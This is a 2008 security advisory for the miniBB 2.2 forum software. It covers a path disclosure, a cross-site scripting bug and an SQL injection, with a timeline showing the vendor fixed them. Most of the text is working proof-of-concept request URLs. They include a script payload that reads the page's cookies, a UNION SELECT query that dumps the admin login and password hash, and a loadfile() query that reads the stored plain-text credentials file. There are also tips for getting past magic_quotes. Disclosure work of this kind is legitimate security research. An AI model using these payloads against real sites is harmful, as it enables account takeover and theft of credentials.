minibb-xsssql.txt

`# Author: __GiReX__  
# Homepage: girex.altervista.org  
# Date: 21/04/2008  
  
# CMS: miniBB 2.2 (and maybe prior)  
# Site: minibb.net  
  
# Bug 1: Full Path Disclosure  
# Bug 2: Cross Site Scripting  
# Bug 3: Remote SQL Injection  
  
# Need: register_globals = On  
---------------------------------------  
  
# 21/04/2008 Vendor informed  
# 22/04/2008 miniBB 2.2a released (where they are fixed)  
# 25/04/2008 Public advisory  
  
---------------------------------------  
# Bug 1: Full Path Disclosure  
  
# Vuln Code: bb_func_regusr.php  
  
25. $languageDown=makeValuedDropDown($glang,'language');  
  
# $glang is empty and it should be an array.  
# So for get a full path disclosure into php warning:  
  
# PoC: [host]/[path]/index.php?action=registernew&glang=1  
----------------------------------------------------------------------------------  
  
----------------------------------------  
# Bug 2: Cross Site Scripting  
  
# PoC: [host]/[path]/index.php?action=registernew&glang[]=<script>alert(document.cookie)</script>  
----------------------------------------------------------------------------------  
  
----------------------------------------  
# Bug 3: Remote SQL Injection  
  
# Vuln Code: setup_mysql.php  
  
30. function db_simpleSelect($sus,$table='',$fields='',$uniF='',$uniC='',$uniV='',$orderby='',$limit='',$uniF2='',   
$uniC2='',$uniV2='',$and2=true,$groupBy=''){  
if(!$sus){  
...  
42. $xtr=(!isset($GLOBALS['xtr'])?'':$GLOBALS['xtr']);   
$sql='SELECT '.$fields.' FROM '.$table.$where.' '.$xtr.' '.$groupBy.' '.$orderby.' '.$limit;  
$result=mysql_query($sql);  
...  
53. elseif($sus==2){  
$xtr=(isset($GLOBALS['xtr'])?$GLOBALS['xtr']:'');  
return mysql_result(mysql_query('SELECT '.$fields.' FROM '.$table.' '.$w.' '.$uniF.$uniC.$uniV.' '.$a.' '.$uniF2  
.$uniC2.$uniV2.' '.$xtr),0);  
  
# The var $xtr is empty if getClForums() was not called.  
# It can be overwritten to manipulate the SQL query if register_globals = On.  
  
----------------------------------------------------------------------------------  
# Check Vuln: [host]/[path]/index.php?action=userinfo&user=-1&xtr=OR+1  
  
# If admin's profile is displayed, it's vulnerable!  
----------------------------------------------------------------------------------  
----------------------------------------------------------------------------------  
# PoC: [host]/[path]/index.php?action=userinfo&user=-1  
&xtr=UNION+SELECT+0,concat(username,0x3a,user_password),0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+minibbtable_users+  
WHERE+user_id=1  
  
# Admin's login and hash will be displayed.  
# These are default's tables and columns, they can be different, use information_schema to find them.  
----------------------------------------------------------------------------------  
----------------------------------------------------------------------------------  
# Or with the path disclosure of Bug 1, you can try to loadfile() setup_options.php  
# where there are stored database and admin's login in plain/text.  
  
# PoC: [host]/[path]/index.php?action=userinfo&user=-1  
&xtr=UNION+SELECT+0,loadfile('[full_path]/setup_options.php'),0,0,0,0,0,0,0,0,0,0,0,0,0  
  
# Encode in Hex loadfile()'s parameter if magic_quotes_gpc = On  
----------------------------------------------------------------------------------  
  
  
`